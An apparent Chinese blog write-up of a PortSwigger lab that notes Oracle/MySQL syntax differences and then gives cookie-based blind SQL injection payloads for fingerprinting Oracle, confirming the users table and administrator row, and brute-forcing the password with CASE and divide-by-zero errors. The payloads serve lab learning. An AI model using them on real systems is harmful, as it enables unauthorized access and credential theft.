可能相对于MySQL而言,其它的数据库接触的很少,可能我很少,尤其是oracle有很多不同的地方,下面进行一些记录:
- 首先,Oracle的查询必须带from和之后的内容,如果想像MySQL一样使用诸如 select 1,2 之类的语句,可以用 select 1,2 from dual 来替代。
- 还有,MySQL中的 limit 0,1 可用 rownum 1 来代替
下面是一个注入的步骤,题目来源:https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
- 这是一个盲注,注入点在Cookie里的TrackingId参数值处。为方便以下假设原始TrackingId=abc
- 做一些手脚:TrackingId=abc‘ 开始报错。猜想是单引号没有闭合掉,那就来个注释,即:TrackingId=abc' -- 发现不报错了。因此可以断定是单引号的问题。(这里可以先用and '1'='1 和and '1'='2试一下,其实是没用的,两个都不报错)。所以不同于寻常报错的盲注,这里要构建一个查询。
- 初步构造查询语句为TrackingId=abc' || (select ' ') ||' ,但是发现报错,怎么回事呢? 这样试下吧TrackingId=abc' || (select ' ' from dual) ||' 发现没问题了,因此可判定该数据库为Oracle。
- 再根据题来判断以下是否存在users表:TrackingId=abc' || (select ' ' from users where rownum = 1) ||' 结果为存在
- 那就一不做二不休,判断该表是否包含username字段为administrator。
TrackingId=abc' || (select case when (1=1) then to_case(1/0) else ' ' end from users where username='administrator') ||'
注意case和别的地方的用法类似,就是前边不满足的话就执行后面的。这里执行了1/0显然是不对的,所以要改成1=2来让它走后面。这样一对比可以知道存在administrator。
接下来就是用brupsuit暴破查密码的事了。不过在此之前要先查询密码长度:
TrackingId=abc' || (select case when length(password)>2 then to_char(1/0) else ' ' end from users where username='administrator') ||'
- 暴密码用的语句为:
TrackingId=abc' || (select case when substr(password,1,1)='a' then to_char(1/0) else ' ' end from users where username='administrator' ) ||'
- 剩下的就自己暴吧 注意密码里不止有小写字母,还有数字。也就是数字和小写字母的组合